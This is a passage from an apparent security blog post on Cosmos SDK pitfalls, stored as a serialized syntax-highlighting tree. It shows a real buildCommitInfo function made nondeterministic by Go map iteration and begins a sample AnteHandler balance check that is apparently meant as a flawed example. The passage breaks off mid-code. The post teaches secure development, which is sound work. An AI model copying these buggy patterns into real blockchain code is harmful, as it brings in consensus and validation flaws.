var",{"type":25,"tag":271,"props":90756,"children":90757},{"style":13598},[90758],{"type":30,"value":34500},{"type":25,"tag":271,"props":90760,"children":90761},{"style":13625},[90762],{"type":30,"value":89343},{"type":25,"tag":271,"props":90764,"children":90765},{"style":13609},[90766],{"type":30,"value":90448},{"type":25,"tag":271,"props":90768,"children":90769},{"class":13593,"line":14400},[90770,90774,90778,90782,90786,90790],{"type":25,"tag":271,"props":90771,"children":90772},{"style":16171},[90773],{"type":30,"value":16174},{"type":25,"tag":271,"props":90775,"children":90776},{"style":13598},[90777],{"type":30,"value":19063},{"type":25,"tag":271,"props":90779,"children":90780},{"style":13603},[90781],{"type":30,"value":89532},{"type":25,"tag":271,"props":90783,"children":90784},{"style":16171},[90785],{"type":30,"value":90512},{"type":25,"tag":271,"props":90787,"children":90788},{"style":13598},[90789],{"type":30,"value":90517},{"type":25,"tag":271,"props":90791,"children":90792},{"style":13625},[90793],{"type":30,"value":16431},{"type":25,"tag":271,"props":90795,"children":90796},{"class":13593,"line":16406},[90797,90801,90805,90810,90814,90818,90822,90826],{"type":25,"tag":271,"props":90798,"children":90799},{"style":13598},[90800],{"type":30,"value":38441},{"type":25,"tag":271,"props":90802,"children":90803},{"style":13603},[90804],{"type":30,"value":16155},{"type":25,"tag":271,"props":90806,"children":90807},{"style":13620},[90808],{"type":30,"value":90809}," append",{"type":25,"tag":271,"props":90811,"children":90812},{"style":13625},[90813],{"type":30,"value":394},{"type":25,"tag":271,"props":90815,"children":90816},{"style":13598},[90817],{"type":30,"value":34103},{"type":25,"tag":271,"props":90819,"children":90820},{"style":13625},[90821],{"type":30,"value":44},{"type":25,"tag":271,"props":90823,"children":90824},{"style":13598},[90825],{"type":30,"value":85270},{"type":25,"tag":271,"props":90827,"children":90828},{"style":13625},[90829],{"type":30,"value":16299},{"type":25,"tag":271,"props":90831,"children":90832},{"class":13593,"line":16434},[90833],{"type":25,"tag":271,"props":90834,"children":90835},{"style":13625},[90836],{"type":30,"value":16501},{"type":25,"tag":271,"props":90838,"children":90839},{"class":13593,"line":16447},[90840,90845,90849,90854,90858,90862],{"type":25,"tag":271,"props":90841,"children":90842},{"style":13598},[90843],{"type":30,"value":90844},"    sort",{"type":25,"tag":271,"props":90846,"children":90847},{"style":13625},[90848],{"type":30,"value":1860},{"type":25,"tag":271,"props":90850,"children":90851},{"style":13620},[90852],{"type":30,"value":90853},"Strings",{"type":25,"tag":271,"props":90855,"children":90856},{"style":13625},[90857],{"type":30,"value":394},{"type":25,"tag":271,"props":90859,"children":90860},{"style":13598},[90861],{"type":30,"value":34103},{"type":25,"tag":271,"props":90863,"children":90864},{"style":13625},[90865],{"type":30,"value":16299},{"type":25,"tag":271,"props":90867,"children":90868},{"class":13593,"line":16465},[90869],{"type":25,"tag":271,"props":90870,"children":90871},{"emptyLinePlaceholder":18},[90872],{"type":30,"value":16829},{"type":25,"tag":271,"props":90874,"children":90875},{"class":13593,"line":16486},[90876,90880,90884,90888,90892,90896,90900,90904],{"type":25,"tag":271,"props":90877,"children":90878},{"style":16171},[90879],{"type":30,"value":16174},{"type":25,"tag":271,"props":90881,"children":90882},{"style":13598},[90883],{"type":30,"value":16179},{"type":25,"tag":271,"props":90885,"children":90886},{"style":13625},[90887],{"type":30,"value":44},{"type":25,"tag":271,"props":90889,"children":90890},{"style":13598},[90891],{"type":30,"value":85270},{"type":25,"tag":271,"props":90893,"children":90894},{"style":13603},[90895],{"type":30,"value":89532},{"type":25,"tag":271,"props":90897,"children":90898},{"style":16171},[90899],{"type":30,"value":90512},{"type":25,"tag":271,"props":90901,"children":90902},{"style":13598},[90903],{"type":30,"value":34500},{"type":25,"tag":271,"props":90905,"children":90906},{"style":13625},[90907],{"type":30,"value":16431},{"type":25,"tag":271,"props":90909,"children":90910},{"class":13593,"line":16495},[90911,90915,90919,90923,90927,90931],{"type":25,"tag":271,"props":90912,"children":90913},{"style":13598},[90914],{"type":30,"value":39296},{"type":25,"tag":271,"props":90916,"children":90917},{"style":13625},[90918],{"type":30,"value":1860},{"type":25,"tag":271,"props":90920,"children":90921},{"style":13598},[90922],{"type":30,"value":90537},{"type":25,"tag":271,"props":90924,"children":90925},{"style":13625},[90926],{"type":30,"value":1860},{"type":25,"tag":271,"props":90928,"children":90929},{"style":13620},[90930],{"type":30,"value":90546},{"type":25,"tag":271,"props":90932,"children":90933},{"style":13625},[90934],{"type":30,"value":16609},{"type":25,"tag":271,"props":90936,"children":90937},{"class":13593,"line":16744},[90938,90942,90946,90950],{"type":25,"tag":271,"props":90939,"children":90940},{"style":13598},[90941],{"type":30,"value":90558},{"type":25,"tag":271,"props":90943,"children":90944},{"style":13625},[90945],{"type":30,"value":1860},{"type":25,"tag":271,"props":90947,"children":90948},{"style":13620},[90949],{"type":30,"value":90567},{"type":25,"tag":271,"props":90951,"children":90952},{"style":13625},[90953],{"type":30,"value":16609},{"type":25,"tag":271,"props":90955,"children":90956},{"class":13593,"line":16761},[90957,90961],{"type":25,"tag":271,"props":90958,"children":90959},{"style":17388},[90960],{"type":30,"value":90579},{"type":25,"tag":271,"props":90962,"children":90963},{"style":13625},[90964],{"type":30,"value":14351},{"type":25,"tag":271,"props":90966,"children":90967},{"class":13593,"line":16778},[90968,90972,90976,90980,90984,90988,90992,90996,91000,91004],{"type":25,"tag":271,"props":90969,"children":90970},{"style":13598},[90971],{"type":30,"value":90591},{"type":25,"tag":271,"props":90973,"children":90974},{"style":13625},[90975],{"type":30,"value":1860},{"type":25,"tag":271,"props":90977,"children":90978},{"style":13620},[90979],{"type":30,"value":90600},{"type":25,"tag":271,"props":90981,"children":90982},{"style":13625},[90983],{"type":30,"value":394},{"type":25,"tag":271,"props":90985,"children":90986},{"style":13598},[90987],{"type":30,"value":85270},{"type":25,"tag":271,"props":90989,"children":90990},{"style":13625},[90991],{"type":30,"value":44},{"type":25,"tag":271,"props":90993,"children":90994},{"style":13598},[90995],{"type":30,"value":90476},{"type":25,"tag":271,"props":90997,"children":90998},{"style":13625},[90999],{"type":30,"value":5604},{"type":25,"tag":271,"props":91001,"children":91002},{"style":13598},[91003],{"type":30,"value":85270},{"type":25,"tag":271,"props":91005,"children":91006},{"style":13625},[91007],{"type":30,"value":91008},"]),\n",{"type":25,"tag":271,"props":91010,"children":91011},{"class":13593,"line":16791},[91012],{"type":25,"tag":271,"props":91013,"children":91014},{"style":13625},[91015],{"type":30,"value":90628},{"type":25,"tag":271,"props":91017,"children":91018},{"class":13593,"line":16800},[91019],{"type":25,"tag":271,"props":91020,"children":91021},{"style":13625},[91022],{"type":30,"value":81435},{"type":25,"tag":271,"props":91024,"children":91025},{"class":13593,"line":16823},[91026],{"type":25,"tag":271,"props":91027,"children":91028},{"style":13625},[91029],{"type":30,"value":16501},{"type":25,"tag":271,"props":91031,"children":91032},{"class":13593,"line":16832},[91033],{"type":25,"tag":271,"props":91034,"children":91035},{"style":13625},[91036],{"type":30,"value":17058},{"type":25,"tag":26,"props":91038,"children":91039},{},[91040],{"type":30,"value":91041},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":25,"tag":247,"props":91043,"children":91045},{"id":91044},"real-world-examples-1",[91046],{"type":30,"value":89803},{"type":25,"tag":26,"props":91048,"children":91049},{},[91050,91052,91057,91059,91065,91067,91073,91075,91081],{"type":30,"value":91051},"Real-world examples of ",{"type":25,"tag":264,"props":91053,"children":91055},{"className":91054},[],[91056],{"type":30,"value":80217},{"type":30,"value":91058}," causing determinism problems can be found ",{"type":25,"tag":83,"props":91060,"children":91063},{"href":91061,"rel":91062},"https://github.com/cosmos/cosmos-sdk/pull/12487",[9066],[91064],{"type":30,"value":60700},{"type":30,"value":91066},", specifically, where the result of ",{"type":25,"tag":264,"props":91068,"children":91070},{"className":91069},[],[91071],{"type":30,"value":91072},"buildCommitInfo",{"type":30,"value":91074}," is inconsistent due to iteration over the ",{"type":25,"tag":264,"props":91076,"children":91078},{"className":91077},[],[91079],{"type":30,"value":91080},"rs.stores",{"type":30,"value":91082}," map.",{"type":25,"tag":26,"props":91084,"children":91085},{},[91086],{"type":25,"tag":83,"props":91087,"children":91090},{"href":91088,"rel":91089},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[9066],[91091],{"type":30,"value":89853},{"type":25,"tag":7764,"props":91093,"children":91095},{"code":91094,"language":89280,"meta":7,"className":89281,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[91096],{"type":25,"tag":264,"props":91097,"children":91098},{"__ignoreMap":7},[91099,91136,91149,91177,91211,91256,91302,91310,91317,91362,91392,91421,91428,91435,91462,91484,91504,91511],{"type":25,"tag":271,"props":91100,"children":91101},{"class":13593,"line":13594},[91102,91106,91110,91115,91119,91124,91128,91132],{"type":25,"tag":271,"props":91103,"children":91104},{"style":14289},[91105],{"type":30,"value":89416},{"type":25,"tag":271,"props":91107,"children":91108},{"style":13625},[91109],{"type":30,"value":16213},{"type":25,"tag":271,"props":91111,"children":91112},{"style":13598},[91113],{"type":30,"value":91114},"rs ",{"type":25,"tag":271,"props":91116,"children":91117},{"style":13603},[91118],{"type":30,"value":17702},{"type":25,"tag":271,"props":91120,"children":91121},{"style":13609},[91122],{"type":30,"value":91123},"Store",{"type":25,"tag":271,"props":91125,"children":91126},{"style":13625},[91127],{"type":30,"value":14406},{"type":25,"tag":271,"props":91129,"children":91130},{"style":13620},[91131],{"type":30,"value":91072},{"type":25,"tag":271,"props":91133,"children":91134},{"style":13625},[91135],{"type":30,"value":16609},{"type":25,"tag":271,"props":91137,"children":91138},{"class":13593,"line":11641},[91139,91144],{"type":25,"tag":271,"props":91140,"children":91141},{"style":13598},[91142],{"type":30,"value":91143},"    version",{"type":25,"tag":271,"props":91145,"children":91146},{"style":13609},[91147],{"type":30,"value":91148}," int64\n",{"type":25,"tag":271,"props":91150,"children":91151},{"class":13593,"line":14354},[91152,91156,91160,91164,91168,91173],{"type":25,"tag":271,"props":91153,"children":91154},{"style":13625},[91155],{"type":30,"value":14406},{"type":25,"tag":271,"props":91157,"children":91158},{"style":13603},[91159],{"type":30,"value":17702},{"type":25,"tag":271,"props":91161,"children":91162},{"style":13609},[91163],{"type":30,"value":18890},{"type":25,"tag":271,"props":91165,"children":91166},{"style":13625},[91167],{"type":30,"value":1860},{"type":25,"tag":271,"props":91169,"children":91170},{"style":13609},[91171],{"type":30,"value":91172},"CommitInfo",{"type":25,"tag":271,"props":91174,"children":91175},{"style":13625},[91176],{"type":30,"value":16431},{"type":25,"tag":271,"props":91178,"children":91179},{"class":13593,"line":14391},[91180,91185,91189,91193,91197,91201,91206],{"type":25,"tag":271,"props":91181,"children":91182},{"style":13598},[91183],{"type":30,"value":91184},"    storeInfos",{"type":25,"tag":271,"props":91186,"children":91187},{"style":13603},[91188],{"type":30,"value":89532},{"type":25,"tag":271,"props":91190,"children":91191},{"style":13625},[91192],{"type":30,"value":89343},{"type":25,"tag":271,"props":91194,"children":91195},{"style":13609},[91196],{"type":30,"value":18890},{"type":25,"tag":271,"props":91198,"children":91199},{"style":13625},[91200],{"type":30,"value":1860},{"type":25,"tag":271,"props":91202,"children":91203},{"style":13609},[91204],{"type":30,"value":91205},"StoreInfo",{"type":25,"tag":271,"props":91207,"children":91208},{"style":13625},[91209],{"type":30,"value":91210},"{}\n",{"type":25,"tag":271,"props":91212,"children":91213},{"class":13593,"line":14400},[91214,91218,91222,91226,91230,91234,91238,91243,91247,91252],{"type":25,"tag":271,"props":91215,"children":91216},{"style":16171},[91217],{"type":30,"value":16174},{"type":25,"tag":271,"props":91219,"children":91220},{"style":13598},[91221],{"type":30,"value":19063},{"type":25,"tag":271,"props":91223,"children":91224},{"style":13625},[91225],{"type":30,"value":44},{"type":25,"tag":271,"props":91227,"children":91228},{"style":13598},[91229],{"type":30,"value":19072},{"type":25,"tag":271,"props":91231,"children":91232},{"style":13603},[91233],{"type":30,"value":89532},{"type":25,"tag":271,"props":91235,"children":91236},{"style":16171},[91237],{"type":30,"value":90512},{"type":25,"tag":271,"props":91239,"children":91240},{"style":13598},[91241],{"type":30,"value":91242}," rs",{"type":25,"tag":271,"props":91244,"children":91245},{"style":13625},[91246],{"type":30,"value":1860},{"type":25,"tag":271,"props":91248,"children":91249},{"style":13598},[91250],{"type":30,"value":91251},"stores",{"type":25,"tag":271,"props":91253,"children":91254},{"style":13625},[91255],{"type":30,"value":16431},{"type":25,"tag":271,"props":91257,"children":91258},{"class":13593,"line":16406},[91259,91263,91267,91271,91276,91280,91284,91289,91293,91298],{"type":25,"tag":271,"props":91260,"children":91261},{"style":16171},[91262],{"type":30,"value":16412},{"type":25,"tag":271,"props":91264,"children":91265},{"style":13598},[91266],{"type":30,"value":18962},{"type":25,"tag":271,"props":91268,"children":91269},{"style":13625},[91270],{"type":30,"value":1860},{"type":25,"tag":271,"props":91272,"children":91273},{"style":13620},[91274],{"type":30,"value":91275},"GetStoreType",{"type":25,"tag":271,"props":91277,"children":91278},{"style":13625},[91279],{"type":30,"value":27164},{"type":25,"tag":271,"props":91281,"children":91282},{"style":13603},[91283],{"type":30,"value":21696},{"type":25,"tag":271,"props":91285,"children":91286},{"style":13598},[91287],{"type":30,"value":91288}," types",{"type":25,"tag":271,"props":91290,"children":91291},{"style":13625},[91292],{"type":30,"value":1860},{"type":25,"tag":271,"props":91294,"children":91295},{"style":13598},[91296],{"type":30,"value":91297},"StoreTypeTransient",{"type":25,"tag":271,"props":91299,"children":91300},{"style":13625},[91301],{"type":30,"value":16431},{"type":25,"tag":271,"props":91303,"children":91304},{"class":13593,"line":16434},[91305],{"type":25,"tag":271,"props":91306,"children":91307},{"style":16171},[91308],{"type":30,"value":91309},"            continue\n",{"type":25,"tag":271,"props":91311,"children":91312},{"class":13593,"line":16447},[91313],{"type":25,"tag":271,"props":91314,"children":91315},{"style":13625},[91316],{"type":30,"value":16492},{"type":25,"tag":271,"props":91318,"children":91319},{"class":13593,"line":16465},[91320,91325,91329,91333,91337,91342,91346,91350,91354,91358],{"type":25,"tag":271,"props":91321,"children":91322},{"style":13598},[91323],{"type":30,"value":91324},"        storeInfos",{"type":25,"tag":271,"props":91326,"children":91327},{"style":13603},[91328],{"type":30,"value":16155},{"type":25,"tag":271,"props":91330,"children":91331},{"style":13620},[91332],{"type":30,"value":90809},{"type":25,"tag":271,"props":91334,"children":91335},{"style":13625},[91336],{"type":30,"value":394},{"type":25,"tag":271,"props":91338,"children":91339},{"style":13598},[91340],{"type":30,"value":91341},"storeInfos",{"type":25,"tag":271,"props":91343,"children":91344},{"style":13625},[91345],{"type":30,"value":44},{"type":25,"tag":271,"props":91347,"children":91348},{"style":13609},[91349],{"type":30,"value":18890},{"type":25,"tag":271,"props":91351,"children":91352},{"style":13625},[91353],{"type":30,"value":1860},{"type":25,"tag":271,"props":91355,"children":91356},{"style":13609},[91357],{"type":30,"value":91205},{"type":25,"tag":271,"props":91359,"children":91360},{"style":13625},[91361],{"type":30,"value":24005},{"type":25,"tag":271,"props":91363,"children":91364},{"class":13593,"line":16486},[91365,91370,91375,91379,91383,91388],{"type":25,"tag":271,"props":91366,"children":91367},{"style":13598},[91368],{"type":30,"value":91369},"            Name",{"type":25,"tag":271,"props":91371,"children":91372},{"style":13625},[91373],{"type":30,"value":91374},":     ",{"type":25,"tag":271,"props":91376,"children":91377},{"style":13598},[91378],{"type":30,"value":85270},{"type":25,"tag":271,"props":91380,"children":91381},{"style":13625},[91382],{"type":30,"value":1860},{"type":25,"tag":271,"props":91384,"children":91385},{"style":13620},[91386],{"type":30,"value":91387},"Name",{"type":25,"tag":271,"props":91389,"children":91390},{"style":13625},[91391],{"type":30,"value":16636},{"type":25,"tag":271,"props":91393,"children":91394},{"class":13593,"line":16495},[91395,91400,91404,91408,91412,91417],{"type":25,"tag":271,"props":91396,"children":91397},{"style":13598},[91398],{"type":30,"value":91399},"            CommitId",{"type":25,"tag":271,"props":91401,"children":91402},{"style":13625},[91403],{"type":30,"value":28453},{"type":25,"tag":271,"props":91405,"children":91406},{"style":13598},[91407],{"type":30,"value":19072},{"type":25,"tag":271,"props":91409,"children":91410},{"style":13625},[91411],{"type":30,"value":1860},{"type":25,"tag":271,"props":91413,"children":91414},{"style":13620},[91415],{"type":30,"value":91416},"LastCommitID",{"type":25,"tag":271,"props":91418,"children":91419},{"style":13625},[91420],{"type":30,"value":16636},{"type":25,"tag":271,"props":91422,"children":91423},{"class":13593,"line":16744},[91424],{"type":25,"tag":271,"props":91425,"children":91426},{"style":13625},[91427],{"type":30,"value":81312},{"type":25,"tag":271,"props":91429,"children":91430},{"class":13593,"line":16761},[91431],{"type":25,"tag":271,"props":91432,"children":91433},{"style":13625},[91434],{"type":30,"value":16501},{"type":25,"tag":271,"props":91436,"children":91437},{"class":13593,"line":16778},[91438,91442,91446,91450,91454,91458],{"type":25,"tag":271,"props":91439,"children":91440},{"style":16171},[91441],{"type":30,"value":30111},{"type":25,"tag":271,"props":91443,"children":91444},{"style":13603},[91445],{"type":30,"value":14341},{"type":25,"tag":271,"props":91447,"children":91448},{"style":13609},[91449],{"type":30,"value":18890},{"type":25,"tag":271,"props":91451,"children":91452},{"style":13625},[91453],{"type":30,"value":1860},{"type":25,"tag":271,"props":91455,"children":91456},{"style":13609},[91457],{"type":30,"value":91172},{"type":25,"tag":271,"props":91459,"children":91460},{"style":13625},[91461],{"type":30,"value":24005},{"type":25,"tag":271,"props":91463,"children":91464},{"class":13593,"line":16791},[91465,91470,91475,91480],{"type":25,"tag":271,"props":91466,"children":91467},{"style":13598},[91468],{"type":30,"value":91469},"        Version",{"type":25,"tag":271,"props":91471,"children":91472},{"style":13625},[91473],{"type":30,"value":91474},":    ",{"type":25,"tag":271,"props":91476,"children":91477},{"style":13598},[91478],{"type":30,"value":91479},"version",{"type":25,"tag":271,"props":91481,"children":91482},{"style":13625},[91483],{"type":30,"value":14351},{"type":25,"tag":271,"props":91485,"children":91486},{"class":13593,"line":16800},[91487,91492,91496,91500],{"type":25,"tag":271,"props":91488,"children":91489},{"style":13598},[91490],{"type":30,"value":91491},"        StoreInfos",{"type":25,"tag":271,"props":91493,"children":91494},{"style":13625},[91495],{"type":30,"value":28453},{"type":25,"tag":271,"props":91497,"children":91498},{"style":13598},[91499],{"type":30,"value":91341},{"type":25,"tag":271,"props":91501,"children":91502},{"style":13625},[91503],{"type":30,"value":14351},{"type":25,"tag":271,"props":91505,"children":91506},{"class":13593,"line":16823},[91507],{"type":25,"tag":271,"props":91508,"children":91509},{"style":13625},[91510],{"type":30,"value":16501},{"type":25,"tag":271,"props":91512,"children":91513},{"class":13593,"line":16832},[91514],{"type":25,"tag":271,"props":91515,"children":91516},{"style":13625},[91517],{"type":30,"value":17058},{"type":25,"tag":26,"props":91519,"children":91520},{},[91521,91523,91530,91531,91538],{"type":30,"value":91522},"Other factors contributing to determinism issues are the usage of ",{"type":25,"tag":83,"props":91524,"children":91527},{"href":91525,"rel":91526},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[9066],[91528],{"type":30,"value":91529},"time-sensitive functions",{"type":30,"value":12218},{"type":25,"tag":83,"props":91532,"children":91535},{"href":91533,"rel":91534},"https://github.com/cosmos/cosmos-sdk/issues/16638",[9066],[91536],{"type":30,"value":91537},"race conditions",{"type":30,"value":1860},{"type":25,"tag":96,"props":91540,"children":91542},{"id":91541},"thou-shalt-not-passor-should-you",[91543],{"type":30,"value":91544},"Thou Shalt Not Pass...Or Should You?",{"type":25,"tag":26,"props":91546,"children":91547},{},[91548,91550,91556,91557,91563],{"type":30,"value":91549},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":25,"tag":264,"props":91551,"children":91553},{"className":91552},[],[91554],{"type":30,"value":91555},"msg.value",{"type":30,"value":44},{"type":25,"tag":264,"props":91558,"children":91560},{"className":91559},[],[91561],{"type":30,"value":91562},"msg.sender",{"type":30,"value":91564},", and collecting transaction fees) to the underlying blockchain.",{"type":25,"tag":26,"props":91566,"children":91567},{},[91568,91570,91576,91578,91584],{"type":30,"value":91569},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":25,"tag":264,"props":91571,"children":91573},{"className":91572},[],[91574],{"type":30,"value":91575},"Cosmos-SDK",{"type":30,"value":91577}," introduces ",{"type":25,"tag":264,"props":91579,"children":91581},{"className":91580},[],[91582],{"type":30,"value":91583},"AnteHandler",{"type":30,"value":91585}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":25,"tag":26,"props":91587,"children":91588},{},[91589,91591,91596,91598,91603],{"type":30,"value":91590},"To provide context, let's first understand how an ",{"type":25,"tag":264,"props":91592,"children":91594},{"className":91593},[],[91595],{"type":30,"value":91583},{"type":30,"value":91597}," is processed. Each ",{"type":25,"tag":264,"props":91599,"children":91601},{"className":91600},[],[91602],{"type":30,"value":91583},{"type":30,"value":91604}," is a state transition function that can:",{"type":25,"tag":661,"props":91606,"children":91607},{},[91608,91613],{"type":25,"tag":112,"props":91609,"children":91610},{},[91611],{"type":30,"value":91612},"Transform the block state in relation to transaction and execution context.",{"type":25,"tag":112,"props":91614,"children":91615},{},[91616,91618],{"type":30,"value":91617},"Determine the course of action for the transaction.\n",{"type":25,"tag":661,"props":91619,"children":91620},{},[91621,91632],{"type":25,"tag":112,"props":91622,"children":91623},{},[91624,91626,91631],{"type":30,"value":91625},"Pass the transaction to the next ",{"type":25,"tag":264,"props":91627,"children":91629},{"className":91628},[],[91630],{"type":30,"value":91583},{"type":30,"value":1860},{"type":25,"tag":112,"props":91633,"children":91634},{},[91635],{"type":30,"value":91636},"Return error for transaction.",{"type":25,"tag":26,"props":91638,"children":91639},{},[91640,91642,91647],{"type":30,"value":91641},"The bad news is that developing an ",{"type":25,"tag":264,"props":91643,"children":91645},{"className":91644},[],[91646],{"type":30,"value":91583},{"type":30,"value":91648}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":25,"tag":26,"props":91650,"children":91651},{},[91652,91653,91659],{"type":30,"value":10272},{"type":25,"tag":264,"props":91654,"children":91656},{"className":91655},[],[91657],{"type":30,"value":91658},"AnteHandle",{"type":30,"value":91660}," implementation may look something like this:",{"type":25,"tag":7764,"props":91662,"children":91664},{"code":91663,"language":89280,"meta":7,"className":89281,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[91665],{"type":25,"tag":264,"props":91666,"children":91667},{"__ignoreMap":7},[91668,91680,91696,91703,91710,91743,91767,91792,91808,91832,91864,91912,91931,91964,91985,91997,92004,92011,92018,92048,92084,92148,92182,92214,92226,92238,92245,92252,92259,92266,92308],{"type":25,"tag":271,"props":91669,"children":91670},{"class":13593,"line":13594},[91671,91675],{"type":25,"tag":271,"props":91672,"children":91673},{"style":14289},[91674],{"type":30,"value":22778},{"type":25,"tag":271,"props":91676,"children":91677},{"style":13625},[91678],{"type":30,"value":91679}," (\n",{"type":25,"tag":271,"props":91681,"children":91682},{"class":13593,"line":11641},[91683,91688,91692],{"type":25,"tag":271,"props":91684,"children":91685},{"style":13598},[91686],{"type":30,"value":91687},"    MIN_BALANCE",{"type":25,"tag":271,"props":91689,"children":91690},{"style":13603},[91691],{"type":30,"value":16155},{"type":25,"tag":271,"props":91693,"children":91694},{"style":16187},[91695],{"type":30,"value":32463},{"type":25,"tag":271,"props":91697,"children":91698},{"class":13593,"line":14354},[91699],{"type":25,"tag":271,"props":91700,"children":91701},{"style":13625},[91702],{"type":30,"value":16299},{"type":25,"tag":271,"props":91704,"children":91705},{"class":13593,"line":14391},[91706],{"type":25,"tag":271,"props":91707,"children":91708},{"emptyLinePlaceholder":18},[91709],{"type":30,"value":16829},{"type":25,"tag":271,"props":91711,"children":91712},{"class":13593,"line":14400},[91713,91717,91721,91726,91731,91735,91739],{"type":25,"tag":271,"props":91714,"children":91715},{"style":14289},[91716],{"type":30,"value":89416},{"type":25,"tag":271,"props":91718,"children":91719},{"style":13625},[91720],{"type":30,"value":16213},{"type":25,"tag":271,"props":91722,"children":91723},{"style":13598},[91724],{"type":30,"value":91725},"abd ",{"type":25,"tag":271,"props":91727,"children":91728},{"style":13609},[91729],{"type":30,"value":91730},"AccountBalanceDecorator",{"type":25,"tag":271,"props":91732,"children":91733},{"style":13625},[91734],{"type":30,"value":14406},{"type":25,"tag":271,"props":91736,"children":91737},{"style":13620},[91738],{"type":30,"value":91658},{"type":25,"tag":271,"props":91740,"children":91741},{"style":13625},[91742],{"type":30,"value":16609},{"type":25,"tag":271,"props":91744,"children":91745},{"class":13593,"line":16406},[91746,91750,91755,91759,91763],{"type":25,"tag":271,"props":91747,"children":91748},{"style":13598},[91749],{"type":30,"value":33344},{"type":25,"tag":271,"props":91751,"children":91752},{"style":13609},[91753],{"type":30,"value":91754}," sdk",{"type":25,"tag":271,"props":91756,"children":91757},{"style":13625},[91758],{"type":30,"value":1860},{"type":25,"tag":271,"props":91760,"children":91761},{"style":13609},[91762],{"type":30,"value":89465},{"type":25,"tag":271,"props":91764,"children":91765},{"style":13625},[91766],{"type":30,"value":14351},{"type":25,"tag":271,"props":91768,"children":91769},{"class":13593,"line":16434},[91770,91775,91779,91783,91788],{"type":25,"tag":271,"props":91771,"children":91772},{"style":13598},[91773],{"type":30,"value":91774},"    tx",{"type":25,"tag":271,"props":91776,"children":91777},{"style":13609},[91778],{"type":30,"value":91754},{"type":25,"tag":271,"props":91780,"children":91781},{"style":13625},[91782],{"type":30,"value":1860},{"type":25,"tag":271,"props":91784,"children":91785},{"style":13609},[91786],{"type":30,"value":91787},"Tx",{"type":25,"tag":271,"props":91789,"children":91790},{"style":13625},[91791],{"type":30,"value":14351},{"type":25,"tag":271,"props":91793,"children":91794},{"class":13593,"line":16447},[91795,91800,91804],{"type":25,"tag":271,"props":91796,"children":91797},{"style":13598},[91798],{"type":30,"value":91799},"    simulate",{"type":25,"tag":271,"props":91801,"children":91802},{"style":13609},[91803],{"type":30,"value":25175},{"type":25,"tag":271,"props":91805,"children":91806},{"style":13625},[91807],{"type":30,"value":14351},{"type":25,"tag":271,"props":91809,"children":91810},{"class":13593,"line":16465},[91811,91816,91820,91824,91828],{"type":25,"tag":271,"props":91812,"children":91813},{"style":13598},[91814],{"type":30,"value":91815},"    next",{"type":25,"tag":271,"props":91817,"children":91818},{"style":13609},[91819],{"type":30,"value":91754},{"type":25,"tag":271,"props":91821,"children":91822},{"style":13625},[91823],{"type":30,"value":1860},{"type":25,"tag":271,"props":91825,"children":91826},{"style":13609},[91827],{"type":30,"value":91583},{"type":25,"tag":271,"props":91829,"children":91830},{"style":13625},[91831],{"type":30,"value":14351},{"type":25,"tag":271,"props":91833,"children":91834},{"class":13593,"line":16486},[91835,91839,91844,91848,91852,91856,91860],{"type":25,"tag":271,"props":91836,"children":91837},{"style":13625},[91838],{"type":30,"value":89498},{"type":25,"tag":271,"props":91840,"children":91841},{"style":13609},[91842],{"type":30,"value":91843},"sdk",{"type":25,"tag":271,"props":91845,"children":91846},{"style":13625},[91847],{"type":30,"value":1860},{"type":25,"tag":271,"props":91849,"children":91850},{"style":13609},[91851],{"type":30,"value":89465},{"type":25,"tag":271,"props":91853,"children":91854},{"style":13625},[91855],{"type":30,"value":44},{"type":25,"tag":271,"props":91857,"children":91858},{"style":13609},[91859],{"type":30,"value":27985},{"type":25,"tag":271,"props":91861,"children":91862},{"style":13625},[91863],{"type":30,"value":27925},{"type":25,"tag":271,"props":91865,"children":91866},{"class":13593,"line":16495},[91867,91872,91876,91881,91885,91889,91894,91899,91903,91908],{"type":25,"tag":271,"props":91868,"children":91869},{"style":13598},[91870],{"type":30,"value":91871},"    